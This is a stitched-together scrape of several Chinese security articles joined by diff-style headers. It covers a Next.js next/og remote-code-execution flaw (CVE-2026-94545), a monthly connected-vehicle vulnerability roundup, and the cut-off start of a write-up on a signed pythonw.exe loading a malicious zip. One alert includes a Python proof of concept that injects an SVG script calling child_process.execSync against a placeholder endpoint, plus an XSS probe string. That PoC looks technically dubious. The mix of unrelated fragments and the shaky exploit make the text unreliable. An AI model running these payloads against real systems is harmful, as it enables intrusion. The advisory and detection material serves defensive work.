SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size: 13px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-nest-level="8">漏洞名称</span></span></section></td><td colspan="3" data-colwidth="144,143,143"><section style="text-align: center;" data-nest-level="6"><span leaf="" style="background-color: rgb(255, 255, 255);color: rgba(0, 0, 0, 0.9);font-size: 13px;font-family: "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;font-style: normal;font-weight: 400;" data-nest-level="7">Next.js next/og 未授权远程代码执行漏洞</span></section></td></tr><tr><td data-colwidth="143"><section style="text-align: center;" data-nest-level="6"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size: 13px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-nest-level="7">评级</span></section></td><td data-colwidth="144"><section style="text-align: center;" data-nest-level="6"><span leaf="" style="color: rgb(255, 41, 65);font-family: "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size: 13px;font-styLine truncated
|
||||
|
||||
4
|
||||
|
||||
|
||||
**漏洞复现**
|
||||
|
||||
中成信息安全实验
|
||||
室已复现Next.js next/og 未授权远程代码执行漏洞
|
||||
，验证如下。
|
||||
|
||||
|
||||
|
||||
|
||||
5
|
||||
|
||||
|
||||
**修复建议**
|
||||
|
||||
官方已发布安全补丁，请及时更新至安全版本：
|
||||
|
||||
Next.js 升级至 16.3.6 及以上版本；
|
||||
|
||||
同步升级 Satori 至 0.33.5 及以上版本（该版本在序列化 SVG 文本时进行转义，修复注入点）；
|
||||
|
||||
下载地址：https://github.com/vercel/next.js/releases
|
||||
|
||||
临时缓解措施：
|
||||
|
||||
1. 将 next/og 路由切换为 export const runtime = 'edge'，改用沙箱化的 resvg-wasm 渲染器；
|
||||
|
||||
2. 或移除 sharp 依赖，避免走原生图像解析链路；
|
||||
|
||||
3. 避免将未经净化处理的用户输入传入 ImageResponse 子节点；
|
||||
|
||||
4. 为 OG 图片路由增加认证或访问白名单。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
关于我们
|
||||
|
||||
|
||||
漳州中成信息科技有限公司是一家专注于网络安全实战防护的创新型服务提供商。我们深刻理解网络安全的核心在于攻防对抗的持续较量，并以此独特视角为基石，致力于为客户构建动态、主动、智能化的纵深防御体系。区别于传统的被动防御，我们坚信“未知攻，焉知防”。公司汇聚了顶尖的渗透测试专家（红队）、应急处置精英（蓝队）及经验丰富的安全服务工程师，形成了一支具备完整攻防对抗能力的专业团队。我们的渗透测试团队模拟真实攻击者的思维与手段，深入挖掘系统、应用及网络中的深层次漏洞与风险点；应急处置团队则能在安全事件发生时快速响应、精准定位、有效遏制损失并溯源根因；安服工程师团队则致力于将攻防对抗中获得的宝贵经验转化为常态化的安全策略、加固措施与运营流程。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**点击名片**
|
||||
|
||||
|
||||
|
||||
**关注我们**
|
||||
|
||||
|
||||
|
||||
**扫描官网二维码**
|
||||
|
||||
|
||||
**了解更多**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,172 @@
|
||||
# 【漏洞情报】2026年9月车联网漏洞态势综述
|
||||
原创 太初众测
|
||||
太初众测 太初众测 2026-09-30 10:10
|
||||
|
||||
**【漏洞情报】**
|
||||
|
||||
**2026年9月**
|
||||
|
||||
**车联网漏洞态势综述**
|
||||
|
||||
**车联网安全漏洞情报**
|
||||
|
||||
**月度推送**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
本月共收录车联网相关漏洞 47 条，严重与高危合计占比 53%。联网车载终端风险集中暴露：Botslab G980H 行车记录仪单日集中披露 14 个漏洞，lwIP 协议栈 MQTT 组件披露可远程利用的严重越界写入漏洞，建议相关单位及时排查处置。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
一、本月漏洞综述
|
||||
|
||||
|
||||
|
||||
|
||||
2026 年 9 月，车联网漏洞情报平台共收录车联网相关公开漏洞 47 条（均为 CVE 编号漏洞）。
|
||||
按危害等级统计
|
||||
|
||||
：严重（Critical）4 条、高危（High）21 条、中危（Medium）16 条、低危（Low）6 条，严重与高危漏洞合计占比 53%。其中 43 条已公布官方 CVSS 评分，平均得分 7.05 分，整体危害水平较高；其余 4 条为 Linux 内核瑞萨驱动漏洞，官方暂未发布评分（NVD 待分析），已如实标注。本期数据经 NVD、CVE.org 官方漏洞库交叉核验。
|
||||
|
||||
|
||||
|
||||
图 1 危害等级分布
|
||||
|
||||
|
||||
|
||||
图 2 2026 年 9 月每日新增车联网漏洞趋势
|
||||
|
||||
|
||||
从披露节奏看，本月漏洞呈多批次集中披露特征：9月 24 日单日新增 15 条，为全月峰值，其中 14 条来自 Botslab G980H 行车记录仪的集中披露；9 月 10 日新增 7 条，含博世 Sensortec 传感器 SDK 集中披露的 5 条缓冲区溢出类漏洞；9 月 18 日新增 7 条，含 Bransys ELD 电子记录设备硬编码凭证漏洞 3 条、gPTP 时间同步协议栈漏洞 2 条；9 月 17 日新增 5 条；9 月 4 日、11 日、14 日、28 日、29 日分别新增 2 条，9 月 7 日、9 日、22 日分别新增 1 条。从影响领域看，车载及充电专用系统（12 条）、内核/驱动（9 条）、Wi-Fi/无线（7 条）为主要受影响面，另有移动/Android、蓝牙、Web/应用各 2 条。
|
||||
|
||||
|
||||
|
||||
图 3 漏洞涉及技术领域分布（单条漏洞可涉及多个领域）
|
||||
|
||||
|
||||
二、重点漏洞分析
|
||||
|
||||
|
||||
|
||||
|
||||
**!**
|
||||
|
||||
**一）联网车载终端**
|
||||
|
||||
|
||||
|
||||
**>>联网车载终端：Botslab G980H 行车记录仪单日集中披露 14 个漏洞**
|
||||
|
||||
**风险等级：严重 ｜ 涉及 CVE-2026-75558 ~ CVE-2026-88956 共 14 个漏洞 ｜ 最高 CVSS 9.2**
|
||||
|
||||
9 月 24 日，Botslab G980H 行车记录仪集中披露 14 个固件漏洞，覆盖认证、会话管理、传输加密与固件更新等多个环节：固件更新验证不足（CVE-2026-81630，CVSS 9.2，严重）——更新流程经未受保护的连接获取固件，且仅依赖固件自带的完整性值而非可信密码学校验，网络可达、无需认证，攻击者需能向设备更新流程提供固件方可利用；会话管理缺陷（CVE-2026-82566，8.7）与会话授权绕过（CVE-2026-84399，8.7）使已认证状态在连接终止后仍保持有效，认证值重放漏洞（CVE-2026-77967，8.6）允许攻击者复用截获的认证值，三者均面向同一无线覆盖范围内的邻近网络攻击者；另有硬编码 root 密码（CVE-2026-79959，7.0）、UART 接口 root 账户无认证（CVE-2026-88956，7.0）、HTTP 服务器路径遍历（CVE-2026-82708，7.1）、HTTP/RTSP 明文传输敏感信息（CVE-2026-82585，7.1）、会话标识符可预测（CVE-2026-85496，7.7）、WiFi 密码可预测（CVE-2026-88761）、WiFi 凭据硬编码密钥（CVE-2026-75558）、蓝牙未认证访问（CVE-2026-84403）、诊断日志敏感信息泄露（CVE-2026-82716）与命令处理越界写入（CVE-2026-87118）。
|
||||
|
||||
|
||||
|
||||
风险分析
|
||||
|
||||
|
||||
|
||||
硬编码凭据与缺失认证使设备的认证门槛形同虚设，固件更新验证不足则为植入恶意固件留下通道；行车记录仪持续记录位置与影像，数据敏感性高。使用该设备的车辆用户应尽快升级固件并修改默认 WiFi 密码。与之关联，本月还披露行车记录仪云平台云存储桶权限配置错误漏洞（CVE-2026-94204，CVSS 8.7），存储桶被配置为公开可读，用户记录与行车数据可被任意访问；以及 Bransys ELD 电子记录设备硬编码 MQTT 凭证漏洞 3 条（CVE-2026-86520，CVSS 8.7；CVE-2026-86689，CVSS 8.2，凭证明文传输；CVE-2026-77960），可读取接入受影响 MQTT 代理的在营车辆实时数据。
|
||||
|
||||
**!**
|
||||
|
||||
**二）基础组件与平台软件**
|
||||
|
||||
|
||||
**>>基础组件与平台软件：lwIP 协议栈与车辆管理系统披露严重漏洞**
|
||||
|
||||
广泛应用于嵌入式与车载网络设备的 lwIP TCP/IP 协议栈披露 MQTT 组件越界写入漏洞（CVE-2026-87121，CVSS 9.3，严重），网络可达、无需认证、无需用户交互，可能导致攻击者在设备上获得完整代码执行能力。Joomla 车辆管理器扩展（Vehicle Manager 免费版 6.5.8 之前版本）披露未授权 SQL 注入漏洞（CVE-2026-101108，CVSS 9.3，严重），前端匿名可达的排序参数未过滤，攻击者可远程注入任意 SQL。此外：Traccar GPS 追踪系统权限接口 SQL 注入（CVE-2026-52851，高危）；LubeLogger 车辆维护追踪系统文件上传路径穿越（CVE-2026-62278，CVSS 8.1，需认证）与记录复制越权访问（CVE-2026-62279，CVSS 7.1，需认证）；SJRC GPS 追踪器 inetd 服务信息泄露（CVE-2026-52482，CVSS 7.5）；DetaWix 移动门户敏感信息泄露（CVE-2026-86450，CVSS 7.5）；code-projects 车辆管理系统 SQL 注入（CVE-2026-85516，CVSS 6.9）与数据库备份文件信息泄露（CVE-2026-85517），后者利用代码已公开。
|
||||
|
||||
|
||||
|
||||
风险分析
|
||||
|
||||
|
||||
|
||||
lwIP 被大量车载通信模块与充电桩固件集成，漏洞影响面随供应链放大；车辆管理与追踪平台漏洞则直接威胁运营数据与车辆位置信息安全。建议相关厂商盘点 lwIP MQTT 组件使用情况并跟踪上游修复。
|
||||
|
||||
**!**
|
||||
|
||||
**三）联网车载终端**
|
||||
|
||||
|
||||
**芯片、内核与传感器：博世传感器 SDK 与瑞萨驱动集群**
|
||||
|
||||
博世 Sensortec 于 9 月 10 日集中披露 5 个传感器 SDK 漏洞：BHI385 传感器 API 栈缓冲区溢出（CVE-2026-42805，CVSS 8.4，本地攻击者可利用）、COINES_SDK 桥接协议解码器堆缓冲区溢出（CVE-2026-42807，CVSS 8.0，邻近网络攻击者需用户交互方可利用）、BHI360 传感器 API 栈缓冲区溢出（CVE-2026-42804，CVSS 7.6，需物理接触设备）及 2 个中危漏洞（CVE-2026-42806、CVE-2026-42808）。
|
||||
|
||||
Linux 内核方面，瑞萨（Renesas）驱动集群披露 6 个漏洞：I3C 驱动释放后使用（CVE-2026-80950，CVSS 7.8）与 RCAR-Gen2 PHY 驱动双重释放（CVE-2026-90288，CVSS 7.4）——需要指出的是，二者早期被部分情报源标注为低危，经 NVD 核验实为高危，建议相关单位以官方定级为准评估风险；另有 4 个漏洞（CVE-2026-89728、CVE-2026-93072、CVE-2026-90124、CVE-2026-93276）官方暂未发布评分（NVD 待分析）。瑞萨 R-Car 系列芯片广泛应用于车载座舱与网关，相关驱动缺陷可被本地低权限攻击者利用提权。
|
||||
|
||||
此外：车辆运动规划系统 EGO-Planner-v2 披露过期轨迹数据处理不当漏洞（CVE-2026-71640，CVSS 9.1，严重），重规划管线对过期轨迹数据处理不当可导致不安全的车辆运动，该漏洞早期被部分情报源标注为低危，经 NVD 核验实为严重，建议以官方定级为准；gPTP 时间同步协议栈披露 2 个越界读取漏洞（Linux 内核 CVE-2026-16514、Zephyr RTOS CVE-2026-16512），车载以太网时间同步面临畸形报文风险；联发科相机中间件双重释放漏洞（CVE-2026-20510）可致本地提权；三星 Exynos 系列处理器披露 2 个拒绝服务漏洞（CVE-2024-53922、CVE-2023-37366）。
|
||||
|
||||
|
||||
|
||||
图 4 主要漏洞类型分布
|
||||
|
||||
**!**
|
||||
|
||||
**四）本月重点漏洞清单**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**三、在野利用风险研判**
|
||||
|
||||
|
||||
|
||||
|
||||
**●EPSS 利用概率**
|
||||
：本批漏洞 EPSS 评分最高为 0.63%（CVE-2026-71640），已返回数据的 45 条均低于 1%，暂未出现利用概率显著升高的个体；其余 2 条（CVE-2026-86450、CVE-2026-94204）因披露时间较新暂无 EPSS 数据。[EPSS（Exploit Prediction Scoring System）数据来自 FIRST.org API，数据日期 2026-09-29，表示漏洞未来 30 天内被利用的预测概率。]
|
||||
|
||||
**●CISA KEV 目录：**
|
||||
经核查，47 条漏洞均未被收录至 CISA 已知被利用漏洞目录，目前无公开在野利用证据。[CISA KEV（Known Exploited Vulnerabilities）目录版本 2026.09.29，核查日期 2026-09-30。]
|
||||
|
||||
**综合研判：**
|
||||
当前处于"漏洞已公开、攻击利用尚未规模化"的处置窗口期。考虑到本月严重漏洞集中于联网车载终端与基础协议栈组件，且部分漏洞利用代码已公开（如 CVE-2026-85517），此类漏洞从披露到被扫描利用的周期通常仅为数周，建议相关单位抓紧完成排查修复，避免窗口期后被动应对。
|
||||
|
||||
|
||||
|
||||
四、安全建议
|
||||
|
||||
|
||||
|
||||
|
||||
01
|
||||
|
||||
**车辆用户及充电用户**
|
||||
|
||||
●使用 Botslab G980H 等联网行车记录仪的用户，应至官方渠道核查并升级固件，同时修改设备默认 WiFi 密码；蓝牙、WiFi 等无线功能在不使用时建议关闭。
|
||||
|
||||
●车机系统与车载设备推送固件或 OTA 安全更新时尽快安装；避免在不可信公共 WiFi 环境下使用车载联网服务。
|
||||
|
||||
●发现车辆异常联网行为（如未知热点连接、异常流量）时及时联系厂商售后核查。
|
||||
|
||||
02
|
||||
|
||||
**车企、充电运营商及零部件厂商**
|
||||
|
||||
●终端固件整改：行车记录仪、ELD 等联网终端厂商应建立固件签名与安全更新机制，移除硬编码账户与硬编码密钥，关闭 UART 等调试接口的出厂无认证访问。
|
||||
|
||||
●组件与驱动修复：盘点 lwIP MQTT、Open1722 等开源组件的使用情况并跟踪上游修复；采用瑞萨 R-Car 平台的产品关注内核驱动补丁并纳入 OTA 排期。
|
||||
|
||||
●云平台权限审计：对云存储桶、MQTT 代理等云端资产开展权限配置专项审计，杜绝公开可读与硬编码凭证接入。
|
||||
|
||||
●平台应用加固：车辆管理与追踪平台运营方应对 SQL 注入、路径穿越、越权访问类漏洞开展自查，及时升级第三方扩展与框架。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
扫码查看9月漏洞数据
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,195 @@
|
||||
# 【漏洞通告】Next.js next/og未授权远程代码执行漏洞(CVE-2026-94545)
|
||||
深瞳漏洞实验室
|
||||
深瞳漏洞实验室 深信服千里目安全技术中心 2026-09-30 10:06
|
||||
|
||||
|
||||
|
||||
**漏洞名称：**
|
||||
|
||||
Next.js next/og未授权远程代码执行漏洞(CVE-2026-94545)
|
||||
|
||||
**组件名称：**
|
||||
|
||||
NextJS
|
||||
|
||||
**影响范围：**
|
||||
|
||||
16.2.0<=Next.js<16.3.6
|
||||
|
||||
0.0.27<=Satori<0.33.5
|
||||
|
||||
**漏洞类型：**
|
||||
|
||||
代码执行
|
||||
|
||||
**利用条件：**
|
||||
|
||||
1、用户认证：否
|
||||
|
||||
2、前置条件：OG 图片走 Node.js 运行时渲染（Edge不受影响）且依赖中带有 sharp
|
||||
|
||||
3、触发方式：远程
|
||||
|
||||
**综合评价：**
|
||||
|
||||
<综合评定利用难度>：容易，无需授权即可远程代码执行。
|
||||
|
||||
<综合评定威胁等级>：高危，能造成远程代码执行。
|
||||
|
||||
**官方解决方案：**
|
||||
|
||||
已发布
|
||||
|
||||
|
||||
|
||||
|
||||
**漏洞分析**
|
||||
|
||||
|
||||
|
||||
组件介绍
|
||||
|
||||
Next.js 是一个基于 React 的开源框架，旨在为开发者提供构建高性能、可扩展的 Web 应用程序的工具。
|
||||
|
||||
|
||||
|
||||
**漏洞简介**
|
||||
|
||||
|
||||
2026年9月30日，深瞳漏洞实验室监测到一则NextJS组件存在代码执行漏洞的信息，漏洞编号：CVE-2026-94545，漏洞威胁等级：高危。
|
||||
|
||||
|
||||
Next.js 生成 OG 图时，先由内置的 Satori 库将 JSX 转写为 SVG，再交由 sharp 及其底层原生库（libvips/librsvg/libxml2）渲染为 PNG 图片。转写环节对用户可控文本缺少输出转义，**攻击者可借此将构造的 XML 标记注入 SVG；渲染过程中这些标记被原生库解析，借助 DTD 实体与 XInclude 机制触发内存破坏，最终在 Node 服务进程中执行任意命令。**
|
||||
|
||||
|
||||
|
||||
**影响范围**
|
||||
|
||||
目前受影响的NextJS版本：
|
||||
|
||||
16.2.0<=Next.js<16.3.6
|
||||
|
||||
0.0.27<=Satori<0.33.5
|
||||
|
||||
|
||||
|
||||
**解决方案**
|
||||
|
||||
|
||||
|
||||
**官方修复建议**
|
||||
|
||||
|
||||
官方已发布修复补丁，建议升级至修复后的版本。
|
||||
|
||||
参考链接：https://github.com/vercel/next.js/releases
|
||||
|
||||
|
||||
|
||||
|
||||
**临时修复建议**
|
||||
|
||||
- 关闭未使用的功能模块，减少潜在攻击入口。
|
||||
|
||||
- 遵循最小权限原则，严控各类敏感操作权限范围。
|
||||
|
||||
- 非必要不暴露服务到公网，限制访问源为可信范围。
|
||||
|
||||
- 定期更新系统及各类组件至安全版本，及时修补已知隐患。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**深信服解决方案**
|
||||
|
||||
|
||||
**1、风险资产发现**
|
||||
|
||||
支持对NextJS的主动检测，**可批量检出业务场景中该事件的受影响资产情况，**
|
||||
相关产品如下：
|
||||
|
||||
**【深信服云镜YJ】**
|
||||
已发布资产检测方案，指纹ID:0031703。
|
||||
|
||||
**【深信服漏洞评估工具TSS】**
|
||||
已发布资产检测方案，指纹ID:0031703。
|
||||
|
||||
|
||||
**2、漏洞主动检测**
|
||||
|
||||
支持对Next.js next/og未授权远程代码执行漏洞(CVE-2026-94545)的主动检测，**可批量快速检出业务场景中是否存在漏洞风险，**
|
||||
相关产品如下：
|
||||
|
||||
**【深信服云镜YJ】**
|
||||
预计2026年10月30日发布检测方案，规则ID:SF-2026-13317。
|
||||
|
||||
**【深信服可拓展检测响应平台XDR】**
|
||||
预计2026年10月30日发布检测方案（需要具备云镜组件能力），规则ID:SF-2026-13317。
|
||||
|
||||
|
||||
**3、漏洞安全监测**
|
||||
|
||||
支持对Next.js next/og未授权远程代码执行漏洞(CVE-2026-94545)的监测，**可依据流量收集实时监控业务场景中的受影响资产情况，**
|
||||
快速检查受影响范围，相关产品及服务如下：
|
||||
|
||||
**【深信服安全感知管理平台SIP】**
|
||||
预计2026年10月12日发布监测方案，规则ID:11224992。
|
||||
|
||||
**【深信服安全托管服务MSS】**
|
||||
预计2026年10月12日发布监测方案（需要具备SIP组件能力），规则ID:11224992。
|
||||
|
||||
**【深信服可拓展检测响应平台XDR】**
|
||||
预计2026年10月12日发布监测方案，规则ID:11224992。
|
||||
|
||||
|
||||
**4、漏洞安全防护**
|
||||
|
||||
支持对Next.js next/og未授权远程代码执行漏洞(CVE-2026-94545)的防御，**可阻断攻击者针对该事件的入侵行为，**
|
||||
相关产品及服务如下：
|
||||
|
||||
**【深信服下一代防火墙AF】**
|
||||
预计2026年10月12日发布防护方案，规则ID:11224992。
|
||||
|
||||
**【深信服Web应用防火墙WAF】**
|
||||
预计2026年10月12日发布防护方案，规则ID:11224992。
|
||||
|
||||
**【深信服安全托管服务MSS】**
|
||||
预计2026年10月12日发布防护方案（需要具备AF组件能力），规则ID:11224992。
|
||||
|
||||
**【深信服可拓展检测响应平台XDR】**
|
||||
预计2026年10月12日发布防护方案（需要具备AF组件能力），规则ID:11224992。
|
||||
|
||||
|
||||
|
||||
参考链接
|
||||
|
||||
|
||||
https://github.com/vercel/next.js/security/advisories/GHSA-vcvr-r3jv-pc5j
|
||||
|
||||
|
||||
|
||||
时间轴
|
||||
|
||||
|
||||
|
||||
**2026/09/30**
|
||||
|
||||
深瞳漏洞实验室监测到Next.js next/og未授权远程代码执行漏洞信息。
|
||||
|
||||
|
||||
**2026/09/30**
|
||||
|
||||
深瞳漏洞实验室发布漏洞通告。
|
||||
|
||||
|
||||
点击**阅读原文**
|
||||
，及时关注并登录深信服**智安全平台**
|
||||
，可轻松查询漏洞相关解决方案。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,132 @@
|
||||
# 【高危漏洞预警】Next.js ImageResponseRCE漏洞CVE-2026-94545
|
||||
飓风网络安全 2026-09-30 10:25
|
||||
|
||||
|
||||
|
||||
**一、漏洞概述**
|
||||
|
||||
Next.js 16.2.0 ~ 16.3.5版本内置next/og模块用于动态生成Open Graph社交预览图，底层依赖Satori库渲染SVG转PNG。
|
||||
|
||||
当开发者直接把URL参数、用户提交内容未经转义写入SVG元素时，攻击者可以注入恶意SVG节点。Satori上游依赖链存在缺陷，恶意SVG可触发Node.js服务端远程代码执行。
|
||||
|
||||
**风险场景：**网站分享预览图接口、OG图片API，接收?title=xxx这类参数并直接渲染到ImageResponse中，是重灾区。
|
||||
|
||||
**修复版本：**Next.js 16.3.6，升级后修复依赖链中的安全问题。
|
||||
|
||||
**二、影响范围**
|
||||
|
||||
✅ 受影响版本
|
||||
|
||||
16.2.0 ≤ Next.js < 16.3.6，仅Node.js运行时的ImageResponse，Edge Runtime不受此漏洞影响。
|
||||
|
||||
✅ 易受攻击业务特征
|
||||
|
||||
1. 使用ImageResponse写OG图片接口；
|
||||
|
||||
2. query参数、用户输入直接嵌入SVG，没有HTML/SVG转义；
|
||||
|
||||
3. 接口公网可访问，无鉴权。
|
||||
|
||||
❌ 不受影响
|
||||
|
||||
• Next.js <16.2.0；Next.js >=16.3.6
|
||||
|
||||
• Edge runtime的ImageResponse
|
||||
|
||||
• 用户输入做了完整SVG转义
|
||||
|
||||
**三、漏洞原理**
|
||||
|
||||
1. 业务代码接收攻击者可控的query参数，直接放入SVG的<title>、文本节点、style属性；
|
||||
|
||||
2. 缺少转义，攻击者注入恶意SVG标签；
|
||||
|
||||
3. Satori渲染SVG时，上游依赖解析恶意节点，触发Node.js代码执行原语；
|
||||
|
||||
4. 攻击者拿到服务端执行权限，读取环境变量、源码、服务器横向移动。
|
||||
|
||||
关键点：漏洞触发前提是开发者错误地把用户可控内容直接塞进SVG；如果做了字符转义，即便版本是受影响版本也无法利用。
|
||||
|
||||
**四、检测方案**
|
||||
|
||||
1. 代码审计
|
||||
|
||||
检索项目内ImageResponse，检查是否直接使用searchParams、request参数，未做转义：
|
||||
|
||||
// ❌ 危险代码（容易中招）
|
||||
|
||||
export async function GET(req) {
|
||||
|
||||
const { searchParams } = new URL(req.url);
|
||||
|
||||
const title = searchParams.get("title");
|
||||
|
||||
return new ImageResponse(
|
||||
|
||||
<div><title>{title}</title></div>,
|
||||
|
||||
{width:1200,height:600}
|
||||
|
||||
)
|
||||
|
||||
}
|
||||
|
||||
2. 黑盒简易探测
|
||||
|
||||
访问OG图片接口，传入payload：?title=%3Cscript%3Ealert(1)%3C/script%3E
|
||||
|
||||
如果返回图片内渲染了标签文本，说明没有转义，存在可利用入口。
|
||||
|
||||
**五、应急处置方案**
|
||||
|
||||
1. 优先升级Next.js至16.3.6或更高版本（推荐方案）；
|
||||
|
||||
2. 临时缓解：所有用户输入渲染到SVG前，强制做HTML转义，过滤< > & " '；
|
||||
|
||||
3. 最小权限：Node进程使用低权限账号运行，限制文件读写；
|
||||
|
||||
4. WAF：对OG图片接口增加规则，拦截包含<svg>、<script>、onload等恶意标签的参数；
|
||||
|
||||
5. 日志审计：重点监控OG图片接口异常访问，排查是否存在攻击行为。
|
||||
|
||||
**六、概念验证PoC（仅用于授权环境安全测试，禁止未授权攻击）**
|
||||
|
||||
⚠️重要声明：下面代码仅为安全研究PoC，用于企业内部授权渗透测试，未经授权对任何网站进行攻击属于违法行为，责任由使用者自行承担。
|
||||
|
||||
本PoC需要目标满足两个前提：①Next.js版本在16.2.0~16.3.5；②接口直接把query参数嵌入ImageResponse SVG。
|
||||
|
||||
# CVE-2026-94545 PoC
|
||||
|
||||
import requests
|
||||
|
||||
import urllib.parse
|
||||
|
||||
target_url = "https://xxx.example.com/api/og-image" # 替换目标OG接口
|
||||
|
||||
cmd_payload = "<svg xmlns='http://www.w3.org/2000/svg'><script>process.mainModule.require('child_process').execSync('id')</script></svg>"
|
||||
|
||||
payload = urllib.parse.quote(cmd_payload)
|
||||
|
||||
params = {
|
||||
|
||||
"title": payload
|
||||
|
||||
}
|
||||
|
||||
resp = requests.get(target_url, params=params, timeout=15)
|
||||
|
||||
print(f"Status Code: {resp.status_code}")
|
||||
|
||||
print(f"Response Length: {len(resp.content)}")
|
||||
|
||||
说明：成功利用会在服务端执行id命令；如果WAF/转义生效则攻击失败。
|
||||
|
||||
**七、安全建议总结**
|
||||
|
||||
1. 尽快批量扫描Next.js项目版本，16.2~16.3.5优先升级；
|
||||
|
||||
2. 开发规范：渲染SVG/HTML，永远不信任外部输入；
|
||||
|
||||
3. 动态OG图片接口属于攻击面，尽量增加鉴权或限制来源。
|
||||
|
||||
|
||||
@@ -0,0 +1,561 @@
|
||||
# 下载的python也可能是木马？pythonw.exe 木马全链路复现
|
||||
原创 网络安全透视镜
|
||||
网络安全透视镜 网络安全透视镜 2026-09-30 09:23
|
||||
|
||||
QUOTE
|
||||
|
||||
一个 zip 被放进 pythonw.exe 的同目录，所有签名校验都无从察觉——
|
||||
|
||||
每逢解释器启动
|
||||
|
||||
，启动必经的 encodings 模块就会替攻击者按下执行键。
|
||||
|
||||
—— 网络安全透视镜
|
||||
|
||||
外层是
|
||||
|
||||
官方签名
|
||||
|
||||
的 pythonw.exe 与 python314.dll，恶意代码藏身同目录的 python314.zip。本文在该文披露的机制基础上完成本地复现，从问题根源、产生原因、复现验证、载荷定制与检测清除五个层面展开分析。
|
||||
|
||||
复现全程使用
|
||||
|
||||
良性载荷
|
||||
|
||||
（弹出计算器），未包含任何恶意代码，复现目录内的每个文件均可审阅。
|
||||
|
||||
本文看点
|
||||
|
||||
01
|
||||
|
||||
三重机制叠加：getpath、zipimport 与 encodings 如何拼出执行路径
|
||||
|
||||
02
|
||||
|
||||
完整本地复现：官方签名 exe 加恶意 zip 的复刻与验证
|
||||
|
||||
03
|
||||
|
||||
载荷定制方法：如何改写 zip 内文件执行自定义命令
|
||||
|
||||
01
|
||||
|
||||
PHENOMENON
|
||||
### 现象：一次「干净」得反常的样本
|
||||
|
||||
|
||||
先看样本的目录构成。三类文件摆在同一层，两个带签名，一个 zip。
|
||||
|
||||
.
|
||||
.
|
||||
.
|
||||
text
|
||||
|
||||
D:\SomeApp\
|
||||
|
||||
├─ pythonw.exe ← 官方签名
|
||||
|
||||
├─ python314.dll ← 官方签名
|
||||
|
||||
└─ python314.zip ← 恶意代码在这里面
|
||||
|
||||
从签名侧看，这套样本没有破绽。pythonw.exe 与 python314.dll 都是 Python 官方发行版文件，证书链核验均属正常；真正承载执行逻辑的是那个多出来的 zip。它不在 PYTHONPATH 里，也没有
|
||||
|
||||
.pth 文件或 sitecustomize.py
|
||||
|
||||
指向它——常规的入口排查走不通。
|
||||
|
||||
要确认 zip 是否被加载，需要把 sys.path 落盘。pythonw.exe 是 Windows 子系统程序，
|
||||
|
||||
没有控制台
|
||||
|
||||
，print 打不出来，探测结果必须写文件。
|
||||
|
||||
.
|
||||
.
|
||||
.
|
||||
python
|
||||
|
||||
# probe.py
|
||||
|
||||
import sys
|
||||
|
||||
open(r"D:\out.txt", "w").write("\n".join(sys.path))
|
||||
|
||||
运行后 out.txt 的内容证实了异常——zip 路径确在 sys.path 中，且
|
||||
|
||||
排序先于 DLLs 与 Lib
|
||||
|
||||
。
|
||||
|
||||
.
|
||||
.
|
||||
.
|
||||
out.txt
|
||||
|
||||
D:\SomeApp
|
||||
|
||||
D:\SomeApp\python314.zip
|
||||
|
||||
D:\SomeApp\DLLs
|
||||
|
||||
D:\SomeApp\Lib
|
||||
|
||||
D:\SomeApp
|
||||
|
||||
排序本身就是风险所在。核心事实速览如下。
|
||||
|
||||
<table><thead><tr><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">维度</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">事实</span></section></th></tr></thead><tbody><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">样本构成</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">官方签名 pythonw.exe + python314.dll + 恶意 python314.zip</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">命名规则</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span 